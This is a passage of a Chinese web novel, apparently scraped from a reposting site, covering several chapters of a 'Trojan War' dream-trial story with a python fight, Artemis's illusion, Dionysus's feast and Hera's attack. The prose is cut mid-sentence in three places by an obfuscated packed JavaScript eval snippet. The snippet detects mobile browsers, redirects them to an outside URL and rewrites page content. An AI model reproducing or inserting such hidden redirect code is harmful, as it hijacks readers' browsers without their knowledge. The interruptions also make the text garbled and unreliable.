他知道身后的巨蟒一直在逼近,可体力已经快到达极限。终于,在某个时刻,他感觉身体一轻,整个人都腾空而起。下一刻,仿佛要将骨头碾碎的疼痛感从全身传来,他立刻疼得失去了语言能力。 向前奔跑的南柯蓦地停了下来。因为,她回头判断巨蟒距离的时候看到,叶帆被那只巨蟒的身体紧紧卷起来带到了空中。此时,男生虽然脸色痛苦而扭曲,但显然还活着。不过,再过几分钟就说不定了。 缠上叶帆后,巨蟒终于停下了前进的脚步。他硕大的头颅做出回头的动作,好奇地打量被自己抓到的新鲜人类,似乎在想该怎么吃掉他。 南柯观察了那条巨蟒几秒钟。蟒蛇身上布满了深绿色的鳞片,即使是眼皮,也是全副武装,看上去就很坚硬,即使有工具也很难突破,更别说现在他们赤手空拳。 不过,也不是全无破绽——在它的下颌处,有一片区域,会随着它的每次呼吸而起伏。虽然动作很轻微,但南柯还是敏锐地捕捉到了。那个区域,是这条蟒蛇全身上下唯一没有鳞片包被的地方。 南柯没什么时间犹豫,飞快提起累赘的裙摆,将其膝盖以下的部位撕扯下来。 陈立阳知道她想做什么,他委婉提醒:“姐姐,这只巨蟒既然在神山上,应该也是神族,我们杀不死它的。能杀死神的,只有神器。” “神器?” 陈立阳看了看从刚刚开始就一直蹲在旁边大喘气的赵磊:“比如那支时序三女神赠送的时序之发钗。” 赵磊瞪大眼睛,立刻站起身往后退了退:“你们疯了吧?什么情况了还要去救人,自己能活着都不错了。” 秦萝眉头紧皱:“现在大家是一条船上的人,凭你一个人也没办法从梦境里出去。没准儿下次别人得到神器,你遇到危险我们也会救你的!” 林易也跟着搭腔:“是啊,现在只剩八个人了,我们得团结起来。” 赵磊翻了个白眼:“不是你们的神器,你们自然不心疼。都说了只限使用一次,我留着自己保命还嫌不够呢!” 一旁的李悦嗤笑一声,懒得多说。她早就看清了赵磊的嘴脸,他要是开始无私起来,太阳都能从西边儿升起。 南柯对赵磊的态度并不意外。她拍了拍陈立阳拉着她胳膊的手:“放心,我只是去救人,杀不了就杀不了,让它放人就行。”说完,她边朝巨蟒的方向跑过去。 众人虽然有帮忙的心,可完全不知道从哪里下手,去了也只能添乱,所以只能看着南柯的背影干着急。 她距离蟒蛇大概二百米左右,很快便逼近到蟒蛇身边。 被蟒蛇卷了许久的叶帆已经奄奄一息,南柯来不及寻找最佳的攻击角度,直接一个滑跪仰头滑行到巨蟒的头颅之下,然后朝着它下颌那个柔软的区域毫不花哨地给出一拳。 “叽——” 这一拳果然精准地打击到蟒蛇的痛点,它发出一声尖锐的鸣叫。同一时间,它卷着叶帆的身体不由自主地松开一个缝隙,叶帆从缝隙中掉下来落在地面。 蟒蛇似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598555|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被未知的攻击所激怒,尾巴焦躁地在地上摆动,将地上的植被清出大片裸露的土地。一边的叶帆也被它无意识地扫到更远的草地上。 陈立阳找准时机跑过去,将叶帆带回到安全区域。此时,叶帆由于在窒息的情况下突然重新吸入空气,脸上泛起潮红。不过好在,人并没有失去意识。 陈立阳问:“感觉怎么样?” 叶帆虚弱地笑了笑:“没事儿,有点儿疼,但还死不了。它怎么突然松开我了?” 陈立阳抿抿唇:“南一姐去救你了。” 叶帆挣扎着坐起身:“那她现在人呢?” 陈立阳目光望向正在和巨蟒搏斗的南柯:“还在和那个怪物周旋。” 南柯此时的情况虽然看着凶险,但对她来说并没有众人想象中那么艰难。 巨蟒虽然攻击力强,但那也得建立在攻击落在实处的基础上。体型巨大既是它的优点,但也是缺点,现在南柯只有一个人,显然移动起来比巨蟒更灵活。 她凭借矫健的身手时不时绕到巨蟒的下颌处挥出一拳,虽然杀不死它,但如果能瓦解它的斗志让它知难而退也好。 秦萝眼里流露出惊艳的神情:“想不到南一姐这么厉害。” 陈立阳面色仍然很严肃:“但这样下去也不是办法,她的体力总会被耗尽。而且,如果这只巨蟒也是梦境考验的一环,它是不会退走的。” 众人稍缓的神色立刻又凝重起来。 不过,不多时,原本凶恶无比的巨蟒居然晃了两下,然后悠悠地瘫倒在地上不动了。 南柯松一口气,快速跑回人群中。她简要告知:“蟒蛇只是睡着了,并没有死,十分钟后就会醒来。现在我们已经进入月亮女神的考验范围,我想,如果不彻底解决这个麻烦,就算我们跑再远,它也会追上来。当务之急,必须要尽快找到月亮女神。” 叶帆看向她,声音有些虚弱,但语气和眼神却很真诚:“谢谢你回来救我。”有那么一刻,他真得已经做好了死的准备,只是想不到,萍水相逢的陌生人竟然也会回来救他。不管南柯怎么想,他现在反正已经将南柯当成朋友兼救命恩人了。 南柯不太适应这种直白的情绪表露,有些僵硬地点了点头,便很快转开话题:“我们快走吧。” 一行人继续朝着神鹿逃跑的方向前进。 陈立阳沉默地跟在南柯身后,几番欲言又止。 南柯以为他在好奇自己怎么制服得巨蟒,也没什么好掩藏:“我刚刚用了初筛梦境里爆出的道具,叫【催眠之弦】,可以使指定人物陷入沉睡,时效十分钟。刚刚我随手在那只蟒蛇身上试了试,刚好也可以生效。” “啊?”陈立阳的眼神有些迷茫。 “你不是想问这个啊?” 陈立阳抿了抿唇:“不是……就是刚刚看你打斗的时候膝盖一直在地面摩擦,想问问你疼不疼。” 闻言,南柯抽空垂眼看了看自己的膝盖。此时,她原本白皙的膝盖和小腿上多了好几道擦伤,上边渗出的血迹已经开始干涸。 想不到,这种她自己都注意不到的小伤,陈立阳竟然能注意到,而且还是在这种逃命的场景中。从前执行任务的时候,她受过比这严重百倍的伤,好像也没得到过这种小心翼翼的关怀。 她说不上心里是一种什么样的情绪,如果一定要类比的话,似乎很像她第一次收到白色风信子的时候,鼓鼓胀胀的,似乎有种生机勃勃的东西在心底萌芽。 她随意道:“放心吧,一点都不疼。” “真的?”陈立阳有些怀疑,毕竟伤口看上去血淋淋的。 南柯笑了笑,声音带了点儿哄小孩儿的意味:“嗯,真的。” 她默默想,原来有人关心是这种感觉,似乎,还挺不错的。 如果不是在【造梦空间】就好了。 —— 或许,在【造梦空间】里,也好。 25. 特洛伊战争(六) 南柯一行人一路从草地走到森林里。夜晚的森林并不瘆人,相反地,由于月亮的清辉一直笼罩着这片区域,森林里也多了几分梦幻的感觉。 走了大概一刻钟,他们终于看到了森林尽头的景象——那是一片巨大的湖泊。清冷的月光在湖面泛起粼粼波光,而湖泊上方,一只金角巨鹿悬空而立,鹿背上,斜跨着一个容貌清丽的少女。少女头上带着白金色的月冠,银色的长裙勾勒出姣好的身形。她右手上握着一张造型精致的银弓,背后背着的箭囊里是几支银色的长箭。 叶帆发出惊叹:“难怪神话中月亮女神也叫做狩猎女神。” 少女懒懒地看向来人:“人类?你们怎么会来这里,这并不是去神殿的路。” 南柯:“您好,神女,冒昧打扰。我们是被一只巨蟒追赶至此。” “巨蟒……”少女有些惊讶,“你们居然能从它的追赶下逃出来?” 南柯不太方便透露道具的事情,只是含糊道:“侥幸而已。” 话音刚落,森林里就响起成片树木被撞断的轰鸣声,紧随其后,巨蟒硕大的脑袋出现在南柯等人身后。 不过,许是碍于阿尔忒弥斯在场,巨蟒没有进一步的动作,只是一边恶狠狠地盯着南柯,一边警惕地注意阿尔忒弥斯手上的弓箭。它知道,这些人类杀不死它,但狩猎女神却可以。 阿尔忒弥斯拇指随意摩挲着手上的银弓,神色淡漠地看向巨蟒:“虽然我不太喜欢你,但我也不会干涉人类的事情。” 巨蟒的竖瞳中瞬间露出凶光,身体蠢蠢欲动。 “神女!”南柯冷静地喊住阿尔忒弥斯,“刚刚这只巨蟒试图攻击您的神鹿,如果没有我们分散它的注意力,或许这只鹿已经成了它腹中的食物。” 闻言,阿尔忒弥斯看向身下的金角鹿。神鹿仿佛能听懂人言,它点了点头表示南柯说的是真话,硕大的鹿头上居然流露出委屈巴巴的表情。 尽管如此,阿尔忒弥斯也没有大发善心,她向来最不喜欢别人和她讲条件。 “那又怎样?你想让我因此救你们?” “不用。只是,能否和您借用一件武器?” 阿尔忒弥斯眼里流露出几丝兴味来。 “什么武器?” 南柯平静道:“只要是神的武器。”陈立阳说只有神器可以杀死巨蟒。 “有了武器你就能杀死它?” “能。” 许是南柯的回答太过果断,阿尔忒弥斯有些惊讶。她从没见过这么自信的人类。 她想了想,抬手朝空中的圆月一招,一道月光便朝她的方向奔射而来,最终落在她手上,幻化成一根箭矢的形状。 她将这支月光之箭直接抛向南柯:“你只有十分钟的时间。十分钟后,箭矢会重新幻化成月光,届时,你们是生是死,与我无关。” 南柯接过箭,没说话,只是转身朝巨蟒的方向走去。 陈立阳拉住她:“我和你一起。” 叶帆:“我也去。” 秦萝:“加上我。” 除了他们三个,李悦本来也想去,但最后看到巨蟒露出的尖锐牙齿,还是往后退了两步。林易、赵磊和周正则是尴尬地低下头假装没听到。 南柯本想拒绝,不过看到几人坚定的眼神,拒绝的话断在喉咙里。这是一个团队考验,她不能自以为是地左右别人的选择。 她简单分配任务:“那你们帮我牵制住它后半身,我会找机会用箭刺穿它的下颌。” 说定以后,众人不再废话,直接朝巨蟒靠过去。巨蟒发出一声尖锐的鸣叫声,上半身高高翘起,又飞快朝南柯俯冲下来。可能是前不久刚刚在南柯手上受挫,它对南柯的仇恨值显然比对其他人要高得多。 南柯动作灵敏地避开巨蟒的第一波攻击,然后再次和它缠斗起来。 在此过程中,陈立阳三人时不时在巨蟒的身后进行骚扰,这种骚扰很直接,就是用双手环抱住巨蟒的身体。一米粗的蟒蛇很难被完全抱住,而且它每次甩尾的力量惊人,所以几乎他们一抱上去就会被蟒蛇狠狠甩在地上。 不过,这种战术也并不是全无用处。虽然不能对蟒蛇造成伤害,但陈立阳等人的骚扰让蟒蛇在和南柯的博弈中时不时就会分神。 终于,南柯找到机会,第一次将月光之箭狠狠刺入蟒蛇的下颌处。 这一次,它发出了比以往凄厉数倍的鸣叫声,一滴滴温热而腥臭的鲜血顺着箭身滚落到南柯的脸上。 南柯心中一动,成了!这支箭果然能伤到蟒蛇! 不过,她也没有寄希望于这一箭能够直接杀死它。毕竟,她刚刚刺入的时候就感觉到,箭尖距离巨蟒的大脑应该还有一点距离。 一击得手,她立刻拔出箭,灵活地与蟒蛇拉开距离。 这下,蟒蛇似乎彻底被激怒了。它甚至不再管身后一直进行骚扰的人,一门心思想杀死南柯。它巨大的身体猛地朝南柯翻卷而去,似乎要以之前卷起叶帆的方式将南柯卷起来慢慢碾死。 南柯翻身堪堪躲过,抽空朝陈立阳三人大喊:“你们先回去!”显然巨蟒已经发狂,人多的话难免被波及到。 叶帆有些犹豫,一旁的陈立阳当机立断:“走,回去。” 很快,这片区域又只剩下南柯和那只巨蟒。 如果再用一次【催眠之弦】的话,她当然可以慢慢杀死沉睡的蟒蛇。但这种全局通用道具数量有限,她刚刚已经使用过一次了,况且,她也很难对阿尔忒弥斯解释道具的存在。既然如此,那就只能靠自己了。 还好,蝶网的训练方式虽然不人道,但不得不说,这种训练得到的成果相当可观,至少足以支撑南柯在这种高强度的博弈中坚持十分钟。 又与巨蟒缠斗了几分钟后,南柯终于找到机会故意卖出一个破绽。巨蟒巨大的竖瞳中流露出人性化的得意神色,快速朝南柯俯冲过来。南柯找准时机,一个侧翻,整个人便滚到巨蟒头颅下的视野盲区。 她之前刺出的伤口还在滴血,很好辨认。她没有一丝犹豫,握着月光之箭,狠狠朝着之前的伤口刺进去。这次,箭矢前进的距离比之前长了大概十厘米左右,一股更加腥臭的热血从伤口处涌出来。 巨蟒发出剧烈的痛鸣,整只身体都在狠狠摇摆,似乎试图摆脱那种刺骨的疼痛。它甚至忘记了对南柯进行反击。 在这个绝佳的机会下,南柯双手握住那支刺在巨蟒下颌处的箭矢,用尽全力又将它向前推了十厘米。然后,她毫不恋战地翻身脱离巨蟒的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16602933|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 体范围。 这次,巨蟒没有再追来,甚至没有再发出巨大的嘶鸣声,它嘴里的声音渐渐变得低沉下去,宛若呜咽。不多时,它巨大的头颅也终于缓慢地垂落下去,最终整个身体无力地匍匐在地上。 南柯的胸口剧烈地起伏着,她手中原本实质般的箭矢慢慢失去重量,最终化为一道清冷的月光重新飞射回空中的月亮上。 蟒蛇巨大的身躯还在缓慢地上下起伏,但显然是苟延残喘,不能活了。 神鹿载着阿尔忒弥斯踩着凭空产生的月阶拾级而下,走到众人身边。阿尔忒弥斯看向南柯的眼神中带着毫不掩饰的惊叹:“你很厉害,也很勇敢。” 南柯不卑不亢:“多谢您的武器。” 阿尔忒弥斯笑了笑:“难得遇上这么合我心意的人类。让我想想,送你个什么礼物好呢?” “礼物?” 可能是经历了时序三女神和命运三女神,南柯有些不敢相信月亮女神居然如此正常,冷漠却并不弑杀。 阿尔忒弥斯看向不远处已经变成尸体的巨蟒,灵眸中光芒一闪:“有了!” 她素手一指,巨蟒身上深绿色的皮居然如庖丁解牛般丝滑地蜕下来,露出里面巨大的森白色骨架。接着,骨架快速向内坍塌和收缩,最终浓缩成一张大约一米长的骨弓。 她一招手,骨弓便朝着她的方向飞过来。她略作检查,满意地将弓递给南柯:“这张弓弓身由巨蟒的骨骼所化,弓弦由巨蟒的肌肉所化,就当做是你猎杀它的战利品好了。” 南柯接过骨弓,弓身莹润白皙,丝毫不像普通的动物骨头。她说:“可是没有箭,弓就发挥不出作用。” 阿尔忒弥斯笑了笑:“这是自然。”说着,她从背后的箭囊中抽出三支银箭,“这三支银箭同样是月光所化,但却可以保存更长时间。每支箭只可以射出一次,不可回收。送给你。” 南柯接过那三支银箭,将它们别在腰间,问道“这弓箭可以杀死神吗?” 阿尔忒弥斯点头:“当然,只要你能射中。” 南柯笑了笑,由衷道:“谢谢你,阿尔忒弥斯。”她顿了顿,“那,我们现在可以离开了吗?” “当然。” 众人朝阿尔忒弥斯道别,然后原路返回,试图回到那条上山的小路上去。 走出大概五十米,陈立阳轻轻碰了碰南柯的胳膊。 南柯和陈立阳对视一眼。下一刻,她毫无征兆地从腰间抽出一支银箭搭在骨弓上,然后毫不犹豫地转身,将箭射向仍在看着他们背影的阿尔忒弥斯—— 箭矢的速度宛如月光,笔直地插入阿尔忒弥斯的心脏。 神女唇角露出的笑意凝固在脸上,看向南柯的眼神里透露着些许挫败,但更多的是惊艳。 很快,她的身体从银箭射入的位置开始裂解,最终整个人幻化为一片虚无的月光。与此同时,周围的场景开始大片破碎,湖泊和森林逐渐褪去颜色。 不多时,漆黑的夜色终于完全褪去,天光大亮。 众人怔怔地朝前望去,周围根本没有湖泊,也没有森林。他们还在那条唯一通向神殿的小路上。 正前方,坐在神鹿上少女目光赞赏地看向南柯,毫不吝啬地表达赞美:“精彩。” 26. 特洛伊战争(七) 在众人的视角里,他们只看到南柯突然莫名其妙地朝阿尔忒弥斯射出一箭,然后天突然就亮了。 片刻,秦萝终于反应过来。她惊讶道:“所以,刚刚我们经历的一切,是幻境?” 南柯点点头。 阿尔忒弥斯有些好奇,她看向南柯:“你是怎么看出的破绽?” 南柯看了陈立阳一眼:“伙伴告诉我,奥林匹斯山没有绝对意义上的‘黑夜’。” “只有这个吗?” 南柯笑了笑:“还有就是,你表现得过于友好了。那只巨蟒杀起来太容易,不太能够算作是一种神的考验。” 阿尔忒弥斯歪头:“看来是前面的几位对你们过于凶残了。”她有些无奈,“宙斯确实派了一些神祇来考验试图上山的人类,不过我不太喜欢杀人,想了想,还是幻境最温和。” 南柯不置可否:“我想,如果我们再晚一些打破幻境,现在已经已经永远迷失在幻境之中了吧。” 阿尔忒弥斯脸上露出遗憾的神情:“的确,就差一点点。” 她话锋一转,语带笑意:“不过,我确实很欣赏你。既然你们已经通过了我设下的考验,那么,我之前承诺的礼物你仍然可以带走。” 她手腕一翻,一张骨弓出现在手掌之上。只是,比起南柯在幻境中得到的那一张,这一张显然年代更久,骨骼的色泽微微有些发黄。 “这张骨弓是由那只巨蟒真正的骨骼和肌肉所化,弦上存有三枚月矢,拉弓即可成箭。同样有三次射箭的机会。”她意味深长地看向南柯:“不过,不到万不得已,不要尝试射杀神祇。刚刚的情况,如果不是在幻境中,你杀不死我。” 南柯接过骨弓:“我知道。”她认真看向阿尔忒弥斯,“谢谢你,这次是真心的。” 阿尔忒弥斯笑了笑:“希望你们活着走到神殿。” 南柯:“能不能冒昧问一下,前边还有多远可以到达神殿。” 阿尔忒弥斯脸上流露出讳莫如深的神色:“或许不远,或许很远。” “那是什么意思?” 阿尔忒弥斯摆摆手:“只能告诉你这些啦~”说着,她便乘着神鹿很快消失在众人的视野里。 南柯从个人面板中取出代表生命线的银丝检查了一遍。此时,银丝的长度仍然和她刚刚得到的时候一模一样,没什么变化。她思索片刻,将银丝放好,带着众人继续向前走。 不多时,前面传来一阵浓郁的酒香,酒香中裹挟着清冽的葡萄香气。 凭借之前的经验,叶帆很快猜测:“难道,我们要遭遇的下一个神是酒神?” 南柯:“酒神?这位神有什么显著特点吗?” 叶帆摇摇头:“神话的表达总是模糊的,不过,酒神狄俄尼索斯倒是常和狂欢、激情所挂钩。” 秦萝插进话来:“酒神的考验会是什么,总不会是请我们去家里喝酒?” 陈立阳:“虽然不确定会是什么考验,但‘酒’听起来会让人沉醉,或许会像月亮女神一样制造幻境,大家注意甄别。” 简单分析后,众人谨慎地继续向前走。没多久,便有一个衣着朴素、白发苍苍的老者迎了上来。 他笑眯眯地和众人打招呼:“各位宾客好。我家主人备了酒,想请大家去小酌一杯,不知可否?” 经历了前面几次,众人也知道,虽然是询问,但他们并没有拒绝的选项。于是,南柯大方地打了个招呼,然后道:“请您带路。” 老者带他们一路走到一处庄园。进入庄园,大片的葡萄架映入眼帘,一串串色泽饱满的紫葡萄和青葡萄交替坠在架子上,仿佛随时等待着主人摘取。 庄园内,几乎所有露天的空间都被葡萄架填满,只有靠墙的位置摆放着十几只橡木酒桶,浓郁的酒香从其中传出,光是闻着就已经让人有陶醉之意。 老者带着众人穿越葡萄架,一路走到里面一处开阔的大厅。开门的一瞬间,丝竹管乐之声从厅内传出,如同仙乐。 南柯等人走进去,老者便默默退了下去。 他们所在的地方似乎是一个宴会之地,大厅两侧是宾客的位置,几乎座无虚席,每位宾客座位前都放着各色瓜果和美酒,宾客们觥筹交错,人人脸上都带着享受的笑意,热闹非凡。 再往后,各类乐手忘情地演奏着美妙的乐曲,乐声与人声交织。 而大厅正中央的主座,坐着一位面容英俊的青年。青年一头金色的卷发,头上戴着葡萄藤编制而成的头冠。此时,他正端着一只透明的、盛着鲜红酒液的精致酒杯,眯着眼睛打量着来人。从他的服饰来看,应该就是酒神狄俄尼索斯了。 叶帆象征性地代表众人对酒神进行了问候。 酒神抬了抬手,立刻有一队侍者会意,恭敬地端着美酒请南柯八人落座。随后,侍者贴心地为每个人倒了一杯酒。 酒神的声音年轻而热情:“欢迎你们来到美酒的乐园~为了表达我的问候,让我们共同满饮此杯!”说着,他便将自己杯中的葡萄酒一饮而尽。 南柯盯着玻璃杯中的酒液。里面的液体鲜红而粘稠,散发着诡异的甜香,闻久了甚至有些目眩神迷,看着不像普通的葡萄酒。 她斟酌着是否要喝下去,便看到身边的其他人已经开始喝酒。她似有所感地抬起头,正好对上酒神犀利又冰冷的目光。他语气平淡:“怎么,是我的酒不好喝吗?” 南柯笑了笑:“没有,感谢您的款待。”说着,她将杯中的酒液一饮而尽。 酒神脸上终于重新露出笑意:“这就对了。这可是好酒,能让你……”他神秘地眨了眨眼,没有继续说下去。 酒的味道很香醇,尝起来和葡萄酒的味道没什么分别,没有南柯假想的奇怪成分。喝下酒液后,她本以为会陷入昏迷或者出现幻觉,但也没有,和正常饮酒的状态别无二致,只是略微有些晕眩。 她抽空看了一眼陈立阳,陈立阳轻轻摇了摇头,表示他暂时也没看出什么异样。 现场氛围轻松愉快,但入席的八个人却时刻警惕,随时准备应对突如其来的危险。不过,这次似乎确实是他们多虑了。大概两刻钟后,酒神再次向他们表示了欢迎,便召来之前迎接他们的老者,将他们送走了。 走出庄园,叶帆还有些摸不着头脑:“这是什么意思,就这么让我们走了吗?会不会和上次一样,我们还在幻境里?” 秦萝搭话:“会不会是给我们喝的那杯酒有问题?总感觉那个酒有种说不出的不对劲。我本来不想喝的,但酒神一直盯着我,眼神特别可怕,好像如果不喝的话就会有什么不好的后果。” 南柯几乎可以肯定,他们喝的酒一定有问题,但现在完全不知道问题在哪里。她想了想:“继续往前走吧。就算有什么陷阱,也要往前走才能发现。” 众人没什么异议,继续返回上山的小路上。然而,就在他们时刻防备着酒神的陷阱时,小路的尽头突然出现了一座金碧辉煌的宏大宫殿。 与此同时,熟悉的机械女声在众人脑海中同时响起:“恭喜您到达指定地点!现向您公布本梦境的终极任务:在生命线耗尽之前阻止特洛伊战争。任务计时开始。” 系统的提示音不会骗人。经历了漫长的上山之路,他们终于到达了此行的终点! 林易有些难以置信:“这就到了?难道那杯酒的效果会在终极任务进行的过程中体现?” 叶帆:“可能吧,现在也只能走一步看一步。” 李悦脸色有些苍白,终极任务提到了“生命线耗尽之前”,她现在是整个队伍里生命线最短的人,难免有些害怕。她看向众人:“我只知道特洛伊战争是希腊神话中一场著名的战役,不太了解其中的细节,有人可以先讲解一下吗?” 林易率先开口:“简单来说,这场战役是由三位女神争夺‘最美女神’称号而引发的。在一次神的婚礼上,‘不和女神’厄里斯没有被邀请,为了报复,她带来一个刻有‘献给最美女神’字样的金苹果。天后赫拉、智慧女神雅典娜和爱与美之神阿芙洛狄忒都觉得自己才是‘最美女神’,三人争论不休。 为了保证公平性,宙斯就请特洛伊国的王子帕里斯来进行裁决。其中,赫拉许给帕里斯权利和财富,雅典娜许给他智慧和荣耀,阿芙洛狄忒许给他全世界最美丽的女人。最终,帕里斯选择了阿芙洛狄忒。 为了兑现承诺,阿芙洛狄忒迷惑了斯巴达国的王后海伦,使她爱上了帕里斯。而帕里斯拐走斯巴达王后的这一行为激怒了整个希腊,于是希腊联军结合起来,共同进攻特洛伊,并最终将其击败。这就是这个故事大致的轮廓。” 他的讲述让南柯想起了自己得到的那张线索图。图纸上,从左到右大致分为四个部分,第一个部分讲述的正是金苹果之争,第二个部分讲的是帕里斯的决断,第三个部分讲的是帕里斯拐走海伦的过程,而最后一个部分是两军交战的画面,应该表达的就是特洛伊战争。 林易作为大学老师,对于神话的讲述清晰易懂,其他人了解的内容也大差不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16609104|187240||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 差,暂时没有什么要补充。 秦萝:“既然这样,那如果要阻止这场战争的话,我们是不是可以毁掉那个金苹果?” 南柯:“不知道这个‘梦境’对于阻止的定义是什么。如果破坏掉这个故事中的任何一个环节都可以的话,难度会小很多。比如可以毁掉金苹果,或者阻止他们选择特洛伊王子为裁决者,或者阻止特洛伊王子拐跑海伦。具体怎么做,要看我们接下来经历的会是什么场景。” 神殿近在眼前。众人经过短暂修整,决定进去一探究竟。 他们沿着小路一路往上,到达山顶时,巨大的宫殿突兀地出现在众人面前。整个宫殿由四十六根多立克式大理石立柱支撑,高约十米左右。此时,殿门大开,众神似乎正在集会,吵闹声远远传进众人的耳朵里。 南柯几人对视一眼,小心地走进神殿去。 穿过漫长的长廊,他们终于看到殿内的场景—— 黄金雕刻而成的王座上,一位面容威严的金发青年随意而坐,手上握着一枚金灿灿的苹果,应该正是神王宙斯。大殿中央,三位美丽的女神正在侃侃而谈,辩论的议题大概围绕“美”而展开。结合“特洛伊战争”的背景,这三位应该就是争夺“最美女神”的当事人了。除此之外,其他衣着华丽的众神正围在四周,似乎在评判三个女神谁说的更有道理。 南柯几人的到来很快引起了众神的注意。他们在三位女神的身后停了下来,叶帆作为代表向宙斯问候:“尊敬的神王您好,我们仰慕您的风采,特来拜谒。” 宙斯眼前一亮。他向众人表达了欢迎之情,然后,便抛给他们一个问题:“你们来得正好。三位女神正在争论她们之中谁是‘最美丽的女神’,尚无定论。你们是否有什么公平公正的好办法?” 南柯看了看他手上随意把玩着的金苹果。从神王手里抢苹果,好像不是什么易事。 这时候,陈立阳提出一个办法:“我们几人来自人间,都是第一次见到几位女神。不如,就由我们几个进行投票,得票最高的女神当选为‘最美女神’,您觉得怎么样?” 在希腊神话中,之所以要找特洛伊王子进行选择,就是为了从凡人的视角出发以保证结果的公平性,从而避免众神之间的人情世故。陈立阳提出的办法与之有异曲同工之妙。如果这个办法可以奏效,自然可以避免特洛伊王子参与到此事中,从而阻止特洛伊战争。 宙斯想了想:“听起来似乎不错。”他看向三位女神,“你们有什么意见吗?” 身穿酒红色长裙,头戴金冠的女神睥睨众人:“你们最好想清楚了再投票。如果选择我,我会赋予你们数不尽的金银珠宝。” 身穿深蓝色短裙,束着软牛皮腰带的女神冷笑:“金银有什么用?智慧才是人最宝贵的财富。如果谁选择我,我会赋予他超凡的智慧。” 身穿粉色长裙,戴着珍珠耳坠的女神温柔笑道:“如果选我的话,我会赐给他一段完美的姻缘。” 三人的发言风格个性鲜明,众人瞬间明白了她们三人各自的身份,赫拉、雅典娜和阿芙洛狄忒。 宙斯揉了揉太阳穴,显然也对几个女神的争论颇为无奈。他摆摆手:“既然是选择‘最美女神’,就由你们五个男性进行投票吧。选定谁,就站在她身后即可。票高者可以获得这个金苹果。” 这样的话,南柯、秦萝和李悦就失去了投票权。不过也不要紧,只要不出现平票,让其中一位女神当选即可。 赵磊想了想,站在了雅典娜身后。周正不希望自己成为决定性的那个人,于是选择了赫拉,而林易出于同样的想法,选择了阿芙洛狄忒。 最后只剩下叶帆和陈立阳两个人。两人对视一眼,叶帆率先朝雅典娜身后走去。他的想法很简单,既然原先当选的是阿芙洛狄忒,他们要改变结果,最好将这个结果也进行改变。在他选择之后,陈立阳毫不犹豫地紧随其后,站在了雅典娜的身后。 投票的过程很快结束,雅典娜三票,赫拉和阿芙洛狄忒各一票。 宙斯示意三位女神回头。 雅典娜惊喜的看着身后的三个人,阿芙洛狄忒神色遗憾,而赫拉则是脸色铁青。 就在宙斯将要把金苹果递交给雅典娜的时候,赫拉突然一把扯过雅典娜身后的赵磊,用力掐住他的脖子。 宙斯皱眉:“你做什么?” 赫拉冷哼一声:“这个人类身上有神器的气息。他们偷盗了神山上的神器,这样卑鄙的人类没有进行投票的资格!” 27. 特洛伊战争(八) 突发情况让众人措手不及。 赫拉所说的神器的气息,很显然指的是时序三女神的【时序之发钗】,但那来自于奖励而非偷盗。看来,很不幸,在“选美”这件事情上,赫拉并不打算讲道理。 很快,赵磊便被掐得奄奄一息。电光火石间,求生的本能让他短暂地爆发出巨大的力气。他突然调取出那支发钗,狠狠朝赫拉捏着他脖子的胳膊刺下去。 “不要!” 南柯提醒的声音终究晚了一步。流光凝成的发钗直直刺入赫拉裸露在外的手臂,刹那间,她手臂上的皮肤以惊人的速度发生皱缩,很快由吹弹可破的娇嫩转变为鸡皮般苍老。 【时序之发钗】的功效终于展现在众人面前——加快时间的流逝。 赫拉向来爱惜自己的肌肤,她想不到区区人类,居然敢对她动手。大怒之下,她像扔破旧的麻袋一样将赵磊狠狠摔在地上,后者抽搐了几下,很快失去生机。 但这还不算结束。她目光凶狠地看着南柯等人,迁怒道:“你们这些卑鄙的人类,今天,你们都得死!” 说完,她双手同时蓄起深红色的神力,在胸前化了一个圈,然后直接轰向南柯等人。 在这个梦境中,神力至高无上,即使是南柯,也完全没有反抗的机会。她只感觉到自己的身体顷刻间被撕成无数个碎片,全身上下的每一根骨头仿佛都被同时碾碎。 “穿越梦境失败了吗……”这是南柯心里升腾起的最后一个念头。再然后,她便失去了所有的意识。 —— 再醒来的时候,南柯发现自己回到了第一次进入梦境前的那个透明的小房子里。 她低头看了一眼自己的身体,完好无损。然而,那种全身撕裂的疼痛仍然留有后劲儿,她动了动手指,便感觉到身上一阵痉挛般的抽痛。 系统机械的提示音适时响起:“尊敬的应试者,您好。很遗憾,您在梦境【特洛伊战争】中穿越失败。但考虑到【神话】类梦境的特殊性,现给您提供两个选择。 一、结束【造梦空间】之旅,在梦境【特洛伊战争】中以神话人物的方式继续存活。 二、继续【造梦空间】的考验,但鉴于您已穿越失败,如果您选择这个选项,那么您的意识体将直接湮灭,而您在现实世界中也会直接死亡。 请慎重选择您的命运。” 